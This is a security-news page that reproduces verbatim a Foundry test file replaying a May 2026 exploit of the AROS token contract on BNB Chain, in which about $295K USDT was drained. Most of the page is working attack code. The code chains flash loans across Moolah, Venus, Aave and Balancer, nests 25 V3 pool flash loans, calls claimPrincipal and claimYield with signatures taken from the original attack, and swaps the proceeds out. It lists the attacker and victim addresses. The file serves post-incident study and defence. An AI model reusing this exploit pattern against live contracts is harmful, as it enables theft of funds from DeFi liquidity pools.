Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/AROS_exp.sol

Public reproduction file for dataset entry AROS.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/AROS_exp.sol325 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import {Test} from "forge-std/Test.sol";
5import {console} from "forge-std/console.sol";
6import {IERC20} from "forge-std/interfaces/IERC20.sol";
7
8// @KeyInfo - Total Lost : ~$295K
9// Attacker : https://bscscan.com/address/0x6f548693937039C8C4343E01C5bd42c5986508f5
10// Attack Contract : https://bscscan.com/address/0x240F473a094096b4FB41d480Ca57a7cc22c924e5
11// Vulnerable Contract : https://bscscan.com/address/0xFEC7D27525cC4efDe5b785EEb5E37Df90E9cd1d5
12// Attack Tx : https://bscscan.com/tx/0xe89fe640ec5241edfca7d8dcae77a0a4270dee15e4bbd043fc60e393aabf41e1
13//
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0xFEC7D27525cC4efDe5b785EEb5E37Df90E9cd1d5#code
16//
17// @Analysis
18// Post-mortem : N/A
19// Twitter Guy : https://x.com/TenArmorAlert/status/2061289921990570349
21contract AROSTest is Test {
22 bytes32 internal constant TX_HASH = 0xe89fe640ec5241edfca7d8dcae77a0a4270dee15e4bbd043fc60e393aabf41e1;
23 string internal constant DEFAULT_BSC_RPC_URL = "https://bsc-mainnet.public.blastapi.io";
24 address internal constant ATTACKER = 0x6f548693937039C8C4343E01C5bd42c5986508f5;
26 IERC20 internal constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
27 IERC20 internal constant AROS_USDT_LP = IERC20(0x3104d26Ae74B49EEc61675a873b38414329c5edd);
29 uint256 internal constant EXPECTED_USDT_BALANCE = 295_347_995_453_652_905_255_125;
30 uint256 internal constant EXPECTED_USDT_PROFIT = 295_314_043_814_755_023_404_189;
31 uint256 internal constant EXPECTED_LP_USDT_BALANCE = 2_841_360_035_403;
32 uint256 internal constant MIN_USDT_PROFIT = 295_000e18;
34 AROSAttackImplementation internal implementation;
36 function setUp() public {
37 vm.createSelectFork(vm.envOr("BSC_RPC_URL", DEFAULT_BSC_RPC_URL), TX_HASH);
39 implementation = new AROSAttackImplementation();
40 vm.etch(ATTACKER, abi.encodePacked(hex"ef0100", address(implementation)));
41 vm.setNonceUnsafe(ATTACKER, 27);
43 vm.label(ATTACKER, "Attacker");
44 vm.label(address(implementation), "Local source-level EIP-7702 implementation");
45 vm.label(address(USDT), "USDT");
46 vm.label(address(AROS_USDT_LP), "AROS/USDT LP");
47 }
49 function testExploit() public {
50 uint256 beforeAttackerUsdt = USDT.balanceOf(ATTACKER);
51 uint256 beforeLpUsdt = USDT.balanceOf(address(AROS_USDT_LP));
53 vm.prank(ATTACKER, ATTACKER);
54 AROSAttackImplementation(payable(ATTACKER)).attack();
56 uint256 usdtProfit = USDT.balanceOf(ATTACKER) - beforeAttackerUsdt;
57 uint256 lpUsdtDrain = beforeLpUsdt - USDT.balanceOf(address(AROS_USDT_LP));
59 assertEq(USDT.balanceOf(ATTACKER), EXPECTED_USDT_BALANCE, "USDT balance drift");
60 assertEq(usdtProfit, EXPECTED_USDT_PROFIT, "USDT profit drift");
61 assertEq(USDT.balanceOf(address(AROS_USDT_LP)), EXPECTED_LP_USDT_BALANCE, "LP USDT drift");
62 assertGt(usdtProfit, MIN_USDT_PROFIT, "USDT profit low");
63 assertGt(lpUsdtDrain, MIN_USDT_PROFIT, "LP was not drained");
65 console.log("Stolen USDT", usdtProfit);
66 }
69contract AROSAttackImplementation {
70 IERC20 internal constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
71 IWBNB internal constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
72 IAROS internal constant AROS = IAROS(0xFEC7D27525cC4efDe5b785EEb5E37Df90E9cd1d5);
74 address internal constant MOOLAH = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
75 address internal constant VENUS_COMPTROLLER = 0xfD36E2c2a6789Db23113685031d7F16329158384;
76 address internal constant VUSDT = 0xfD5840Cd36d94D7229439859C0112a4185BC0255;
77 address internal constant VWBNB = 0x6bCa74586218dB34cdB402295796b79663d816e9;
78 address internal constant BALANCER_LOCK = 0x238a358808379702088667322f80aC48bAd5e6c4;
79 address internal constant AAVE_POOL = 0x6807dc923806fE8Fd134338EABCA509979a7e0cB;
80 address internal constant AWBNB = 0x9B00a09492a626678E5A3009982191586C444Df9;
81 address internal constant DEBT_USDT = 0xa9251ca9DE909CB71783723713B21E4233fbf1B1;
82 address internal constant ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
83 address internal constant FEE_RECEIVER = 0xECbF62c834A09559FFD044A75F4E46e53Df62Eed;
84 address internal constant REFERRAL_POOL = 0x663FEA9A146645A4f6D8ca92B0329D9d8526782F;
85 address internal constant DIVIDEND_POOL = 0x6f8099E4c83700AF10E657289d02bC86Ce2E25c1;
87 uint256 internal constant WBNB_FLASH_AMOUNT = 427_489_387_531_280_866_628_851;
88 uint256 internal constant USDT_FLASH_AMOUNT = 15_089_844_448_880_871_918_088_002;
89 uint256 internal constant VENUS_WBNB_SUPPLY = 392_489_387_531_280_866_628_851;
90 uint256 internal constant VENUS_USDT_BORROW = 85_842_934_250_710_145_255_519_143;
91 uint256 internal constant AAVE_WBNB_SUPPLY = 35_000_000_000_000_000_000_000;
92 uint256 internal constant AAVE_USDT_BORROW = 13_129_939_200_815_019_480_553_986;
93 uint256 internal constant AAVE_USDT_REPAY = 13_129_939_200_815_019_480_554_086;
94 uint256 internal constant AAVE_WBNB_WITHDRAW = 34_999_999_999_999_999_999_900;
95 uint256 internal constant VAULT_USDT_AMOUNT = 35_301_663_737_991_795_262_359_069;
96 uint256 internal constant DEADLINE = 1_780_165_447;
98 bytes32 internal constant PRINCIPAL_SIG_R = 0x608ecaa26c203101fd5fde9949d0839f01a18d69cfbc49792c4e2acef9183f6f;
99 bytes32 internal constant PRINCIPAL_SIG_S = 0x36b5d160437068014a3cb9a71b54cc558f3b921ee8f1003ae4d89528939952bc;
100 uint8 internal constant PRINCIPAL_SIG_V = 27;
101 bytes32 internal constant YIELD_SIG_R = 0x4b59e2a24fafa3ac82b161c425b0a00b3b146e49acc1c39b96917bfdbd95f46c;
102 bytes32 internal constant YIELD_SIG_S = 0x7532578b6489133580ba1351600d0fc7d76449f65e55ecc42b136eef2d23265f;
103 uint8 internal constant YIELD_SIG_V = 27;
105 function attack() external payable {
106 IERC20(address(WBNB)).approve(MOOLAH, type(uint256).max);
107 USDT.approve(MOOLAH, type(uint256).max);
108 USDT.approve(BALANCER_LOCK, type(uint256).max);
109 IERC20(VUSDT).approve(VUSDT, type(uint256).max);
110 IERC20(VWBNB).approve(VWBNB, type(uint256).max);
111 IERC20(address(WBNB)).approve(VWBNB, type(uint256).max);
112 USDT.approve(VUSDT, type(uint256).max);
114 WBNB.deposit{value: 200}();
115 IMoolah(MOOLAH).flashLoan(address(WBNB), WBNB_FLASH_AMOUNT, abi.encode(uint256(0)));
116 USDT.transfer(address(this), USDT.balanceOf(address(this)));
117 }
119 function onMoolahFlashLoan(uint256, bytes calldata data) external {
120 require(msg.sender == MOOLAH, "bad Moolah lender");
122 if (data.length == 32 && abi.decode(data, (uint256)) == 3) {
123 address[] memory markets = new address[](2);
124 markets[0] = VWBNB;
125 markets[1] = VUSDT;
126 IVenusComptroller(VENUS_COMPTROLLER).enterMarkets(markets);
127 IVToken(VWBNB).mint(VENUS_WBNB_SUPPLY);
128 IVToken(VUSDT).borrow(VENUS_USDT_BORROW);
130 IERC20(address(WBNB)).approve(AAVE_POOL, type(uint256).max);
131 IERC20(address(WBNB)).approve(AWBNB, type(uint256).max);
132 USDT.approve(AAVE_POOL, type(uint256).max);
133 IERC20(AWBNB).approve(AAVE_POOL, type(uint256).max);
134 IERC20(DEBT_USDT).approve(AAVE_POOL, type(uint256).max);
136 IAavePool(AAVE_POOL).supply(address(WBNB), AAVE_WBNB_SUPPLY, address(this), 0);
137 IAavePool(AAVE_POOL).borrow(address(USDT), AAVE_USDT_BORROW, 2, 0, address(this));
138 IBalancerLock(BALANCER_LOCK).lock(abi.encode(uint256(0)));
139 IVToken(VUSDT).repayBorrow(VENUS_USDT_BORROW);
140 IVToken(VWBNB).redeemUnderlying(VENUS_WBNB_SUPPLY);
141 IAavePool(AAVE_POOL).repay(address(USDT), AAVE_USDT_REPAY, 2, address(this));
142 IAavePool(AAVE_POOL).withdraw(address(WBNB), AAVE_WBNB_WITHDRAW, address(this));
143 } else {
144 IMoolah(MOOLAH).flashLoan(address(USDT), USDT_FLASH_AMOUNT, abi.encode(uint256(3)));
145 }
146 }
148 function lockAcquired(bytes calldata) external returns (bytes memory) {
149 require(msg.sender == BALANCER_LOCK, "bad lock");
151 IBalancerLock(BALANCER_LOCK).take(address(USDT), address(this), VAULT_USDT_AMOUNT);
152 _nextFlash(0);
153 IBalancerLock(BALANCER_LOCK).sync(address(USDT));
154 USDT.transfer(BALANCER_LOCK, VAULT_USDT_AMOUNT);
155 IBalancerLock(BALANCER_LOCK).settle();
156 return bytes("");
157 }
159 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
160 _onV3FlashCallback(fee0, fee1, data);
161 }
163 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
164 _onV3FlashCallback(fee0, fee1, data);
165 }
167 function _onV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) internal {
168 (uint256 amount, uint256 index) = abi.decode(data, (uint256, uint256));
170 if (index == 24) {
171 _drainArosPool();
172 } else {
173 _nextFlash(index + 1);
174 }
176 // The traced implementation over-repaid each V3 flash by one wei.
177 USDT.transfer(msg.sender, amount + fee0 + fee1 + 1);
178 }
180 function _nextFlash(uint256 index) internal {
181 (address pool, uint256 amount0, uint256 amount1) = _flashParams(index);
182 IV3Pool(pool).flash(address(this), amount0, amount1, abi.encode(amount0 == 0 ? amount1 : amount0, index));
183 }
185 function _drainArosPool() internal {
186 AROS.approve(ROUTER, type(uint256).max);
187 USDT.approve(ROUTER, type(uint256).max);
189 address[] memory path = new address[](2);
190 path[0] = address(USDT);
191 path[1] = address(AROS);
192 IPancakeRouter(ROUTER).swapTokensForExactTokens(621_936_655_975_708_807_818_467_060, 209_019_505_601_362_420_848_039_825, path, FEE_RECEIVER, DEADLINE);
194 AROS.claimPrincipal(
195 1,
196 3,
197 199_269_156_103_688_477_492_300,
198 1_780_166_180,
199 abi.encodePacked(PRINCIPAL_SIG_R, PRINCIPAL_SIG_S, PRINCIPAL_SIG_V)
200 );
202 AROS.claimYield(
203 1,
204 3,
205 568_633_093_525_179_856_115_100,
206 REFERRAL_POOL,
207 71_079_136_690_647_482_014_400,
208 DIVIDEND_POOL,
209 71_079_136_690_647_482_014_400,1_780_166_213,
210 abi.encodePacked(YIELD_SIG_R, YIELD_SIG_S, YIELD_SIG_V
211 ));
213 path[0] = address(AROS);
214 path[1] = address(USDT);
215 IPancakeRouter(ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(AROS.balanceOf(address(this)), 0, path, address(this), DEADLINE);
216 }
218 function _flashParams(uint256 index) internal pure returns (address pool, uint256 amount0, uint256 amount1) {
219 if (index == 0) return (0x92b7807bF19b7DDdf89b706143896d05228f3121, 9_780_512_077_769_254_320_547_510, 0);
220 if (index == 1) return (0xB67e5EaF770a384Ab28029d08B9bC5EBE32beb0F, 6_771_750_912_499_350_149_999_450, 0);
221 if (index == 2) return (0xA0909f81785f87f3e79309F0E73A7d82208094E4, 8_832_341_022_962_096_328_942_297, 0);
222 if (index == 3) return (0x9c4Ee895e4f6Ce07Ada631C508D1306Db7502cCE, 2_600_858_024_905_459_292_301_810, 0);
223 if (index == 4) return (0x9F8f4615Ff5143aeE365fa34f34196fB85Be7650, 3_528_481_701_018_131_041_166_946, 0);
224 if (index == 5) return (0x172fcD41E0913e95784454622d1c3724f546f849, 13_172_736_945_692_744_676_425_098, 0);
225 if (index == 6) return (0x9F599F3D64a9D99eA21e68127Bb6CE99f893DA61, 0, 803_085_555_192_746_938_202_015);
226 if (index == 7) return (0x4f3126d5DE26413AbDCF6948943FB9D0847d9818, 1_150_061_148_786_497_927_075_356, 0);
227 if (index == 8) return (0x8F6ef959FA19173Bd4668B83E80F82442B2c99DE, 0, 51_097_702_973_354_286_878_587);
228 if (index == 9) return (0xf4262C4dbF524f53851A5176bdC7D6C1e0fA82D8, 884_450_895_211_172_307_287_016, 0);
229 if (index == 10) return (0xFa09940612D7Ae39F7F220f3Ca6816bd72844577, 623_753_507_086_978_825_919_884, 0);
230 if (index == 11) return (0xef7D88D12b6393fE06f5F07d48d7B76511909e6b, 0, 1_108_129_428_636_275_123_369_649);
231 if (index == 12) return (0x5bd808Ab85C124f99080da5F864EDcB39950edE5, 1_241_884_897_217_375_374_863_577, 0);
232 if (index == 13) return (0xd21bc2291C1aeF340f5265E257B18aa5dafed759, 687_604_957_982_945_911_411_160, 0);
233 if (index == 14) return (0x0022f0dcd574A1e646250eEbD086781823434504, 610_434_709_450_391_213_486_504, 0);
234 if (index == 15) return (0x97620e003c03381EaCBDE7135F28d94303bb5672, 695_822_167_401_439_261_446_139, 0);
235 if (index == 16) return (0xB4Db9FCdA97fd7B02eAf1e8317E6DdB04BaCC1AF, 1_138_238_683_349_544_207_806_736, 0);
236 if (index == 17) return (0x2C3c320D49019D4f9A92352e947c7e5AcFE47D68, 353_566_373_796_907_685_246_877, 0);
237 if (index == 18) return (0xDc85C2BB53D927006B2dB488a0CB4605fcA48032, 12_732_473_959_371_288_650_255, 0);
238 if (index == 19) return (0xE1aCb466421eD24Dd8bd381D1205baD0ad43Ca9c, 0, 1_500_812_641_410_679_264_037_461);
239 if (index == 20) return (0x1c3865814aCbBa11E7196dF0b46c024472503196, 1_299_265_137_133_810_290_441_314, 0);
240 if (index == 21) return (0xA5DbEaf16Fc031eae92175974F8d0A439bE4aD17, 1_086_000_474_125_890_956_690_301, 0);
241 if (index == 22) return (0xCA3F029A70d5d90000E614afD29E5c833f33CEa5, 675_533_943_817_186_776_292_296, 0);
242 if (index == 23) return (0xeAA6C7292eD954CA9Dd72E769568D057B0525c9A, 0, 722_820_521_118_955_264_044_593);
243 if (index == 24) return (0x24618d12b5eA15bB6fe3c81bBb9E011b5D5b107c, 323_114_107_827_132_337_135_858, 0);
244 }
247interface IWBNB is IERC20 {
248 function deposit() external payable;
251interface IMoolah {
252 function flashLoan(address token, uint256 amount, bytes calldata data) external;
255interface IVenusComptroller {
256 function enterMarkets(address[] calldata vTokens) external returns (uint256[] memory);
259interface IVToken is IERC20 {
260 function mint(uint256 mintAmount) external returns (uint256);
261 function borrow(uint256 borrowAmount) external returns (uint256);
262 function repayBorrow(uint256 repayAmount) external returns (uint256);
263 function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
266interface IAavePool {
267 function supply(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
268 function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf)
269 external;
270 function repay(address asset, uint256 amount, uint256 interestRateMode, address onBehalfOf)
271 external
272 returns (uint256);
273 function withdraw(address asset, uint256 amount, address to) external returns (uint256);
276interface IBalancerLock {
277 function lock(bytes calldata data) external returns (bytes memory result);
278 function take(address token, address to, uint256 amount) external;
279 function sync(address token) external;
280 function settle() external returns (uint256 credit);
283interface IV3Pool {
284 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
287interface IPancakeRouter {
288 function swapTokensForExactTokens(
289 uint256 amountOut,
290 uint256 amountInMax,
291 address[] calldata path,
292 address to,
293 uint256 deadline
294 ) external returns (uint256[] memory amounts);
296 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
297 uint256 amountIn,
298 uint256 amountOutMin,
299 address[] calldata path,
300 address to,
301 uint256 deadline
302 ) external;
305interface IAROS is IERC20 {
306 function claimPrincipal(
307 uint256 periodFrom,
308 uint256 periodTo,
309 uint256 amount,
310 uint256 deadline,
311 bytes calldata signature
312 ) external;
314 function claimYield(
315 uint256 periodFrom,
316 uint256 periodTo,
317 uint256 userAmount,
318 address referralPool,
319 uint256 referralAmount,
320 address dividendPool,
321 uint256 dividendAmount,
322 uint256 deadline,
323 bytes calldata signature
324 ) external;

Analysis

Dataset entry

Public Foundry test for “AROS” (2026-05-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6f548693937039c8c4343e01c5bd42c5986508f5

  • Attack Contract

    0x240f473a094096b4fb41d480ca57a7cc22c924e5

  • Vulnerable Contract

    0xfec7d27525cc4efde5b785eeb5e37df90e9cd1d5

  • Attack Tx

    0xe89fe640ec5241edfca7d8dcae77a0a4270dee15e4bbd043fc60e393aabf41e1

File record

Name
AROS
Path
src/test/2026-05/AROS_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5b2d8705dcee75797eae21969225a3dee067ffee
Language
Solidity
Size
326 lines
Date
2026-05-30
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/AROS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5b2d8705dcee75797eae21969225a3dee067ffee, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.